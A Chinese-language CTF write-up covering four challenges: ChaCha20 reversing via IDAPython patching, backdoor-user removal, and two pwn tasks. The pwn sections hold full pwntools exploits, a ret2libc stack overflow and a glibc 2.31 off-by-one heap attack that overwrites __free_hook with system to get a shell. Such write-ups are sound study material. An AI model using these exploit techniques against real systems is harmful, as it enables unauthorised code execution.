前几天打的强网青少年,今天来整理整理wp,挑里面一些好玩的题目复盘一下。
逆向-EnterGame
进入主函数发现是chacha20加密。进入chacha20_encrypt分析
发现有魔改,最后也没有base64加密。所以我们直接将我们输入的值patch成密文,再加密回去就好。在主函数23行下断点动调,输入42个a
然后我们找到s2的值
0x5E, 0x13, 0xAA, 0xD3, 0x87, 0x75, 0x2B, 0x7A, 0x1B, 0x16,
0x04, 0xA3, 0x49, 0x7E, 0x1D, 0xD2, 0x6B, 0x5D, 0x58, 0x40,
0x5E, 0x44, 0x63, 0x59, 0x48, 0x51, 0x0D, 0x54, 0x5E, 0x58,
0x55, 0x58, 0xAD, 0x82, 0xAF, 0xDC, 0xE7, 0xAB, 0x58, 0x5D,
0xCE, 0xC1
这里我们使用IDAPython,编写一个脚本
s2 = [0x5E, 0x13, 0xAA, 0xD3, 0x87, 0x75, 0x2B, 0x7A, 0x1B, 0x16,
0x04, 0xA3, 0x49, 0x7E, 0x1D, 0xD2, 0x6B, 0x5D, 0x58, 0x40,
0x5E, 0x44, 0x63, 0x59, 0x48, 0x51, 0x0D, 0x54, 0x5E, 0x58,
0x55, 0x58, 0xAD, 0x82, 0xAF, 0xDC, 0xE7, 0xAB, 0x58, 0x5D,
0xCE, 0xC1]
addr = 0x7FFC690E28E0
for i in s2:
ida_bytes.patch_byte(addr,i)
addr += 1
因为存在随即地址偏移,所以我们每次的地址不同,addr的起始地址是字符串s的起始地址。
然后在主函数的28行下断点,运行
此时我们的s1就是flag
MISC-后门删除
Sudo -l 发现无密码执行的 /usr/bin/kill
题目描述说删除后门用户然后,等待一分钟查看/checklog
看看checklog是什么
看来存在俩个修复
查看/etc/passwd 发现存在backdoor用户
那么给这个用户删除
经过测试发现,每秒都会给进程+1
还是未能删除,尝试强制删除。
等一段时间后貌似删掉了
接着查看第二个修复
在进程中发现可疑进程 b和sleep
Start.sh 是一个运行的脚本,bash是我们的这个终端,ps是我们的ps命令
强制kill 22
最终总结一下写的shell脚本
cmd=$(userdel backdoor 2>&1)
pid=$(echo "$cmd" | grep -oP '(?<=process )\d+')
if [[ -n "$pid" ]]; then
echo "Killing process $pid..."
sudo /usr/bin/kill -9 "$pid"
fi
userdel -f backdoor
sudo /usr/bin/kill -9 22
PWN-check in
来来到get_info函数中
明显的栈溢出。
查找字符串没有发现后门。题目中给了libc版本,那么可以用ret2libc的方法泄露libc基地址,调用system。
Checksec查一下保护
有RELRO保护和NX保护,再看一下rop链有没有可用的。
有可用的rdi。
编写exp如下
Exp:
from pwn import *
p = remote('ip',port)
#p = process('./clock_in')
elf = ELF('./clock_in')
libc = ELF('./libc.so.6')
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = elf.symbols['main']
#0x00000000004011c5 : pop rdi ; ret
pop_rdi = 0x00000000004011c5
payload = b'a'*(0x40+8)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
p.sendlineafter("Your info: ",payload)
p.recv()
puts_add = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print("puts_add:",(puts_add))
print("puts_add:",hex(puts_add))
libc_base = puts_add - libc.symbols['puts']
print("libc_base:",hex(libc_base))
sys = libc_base + libc.symbols['system']
bin = libc_base + next(libc.search(b'/bin/sh'))
payload = b'a'*(0x40+8)+p64(pop_rdi+1)+p64(pop_rdi)+p64(bin)+p64(sys)
p.sendlineafter("Your info: ",payload)
p.interactive()
PWN-journey_story
glibc2.31的off by one,先利用off by one通过堆块构造unsortedbin堆块,通过切割unsortedbin把libc地址放到一个还未被free的堆块中,直接show泄露libc地址
然后再利用相同的办法构造堆块重叠,不过这次去修改tcache的next指针,将其指向free_hook,再申请堆块到hook,修改其为system地址,在之前的一个堆块中写好/bin/sh,free这个堆块即可
编写exp如下
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
libc = ELF('./libc-2.31.so')
elf = ELF('./pwn')
p = process("./pwn")
def add(size, content):
p.sendlineafter(b": ", b"1")
p.sendlineafter(b"): ", str(hex(size)).encode())
p.sendlineafter(b"): ", content)
def delete(idx):
p.sendlineafter(b": ", b"2")
p.sendlineafter(b': ', str(idx))
def edit(idx,content):
p.sendlineafter(b": ", b"3")
p.sendlineafter(b': ', str(idx))
p.sendline(content)
def show(idx):
p.sendlineafter(b": ", b"4")
p.sendlineafter(b': ', str(idx))
for i in range(7):
add(0xb0,b'a')
for i in range(7):
delete(i)
for i in range(6):
add(0x28,b'a')
edit(0,b'a'*0x28+b'\xc1')
delete(1)
add(0x28,b'a')
show(2)
libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 2018272
__free_hook = libc_base+libc.sym['__free_hook']
system = libc_base+libc.sym['system']
p.sendline(b"31")
for i in range(3):
add(0x28, b'a')
delete(2)
delete(3)
edit(7, p64(__free_hook))
add(0x28, b'/bin/sh')
add(0x28, p64(system))
delete(2)
p.interactive()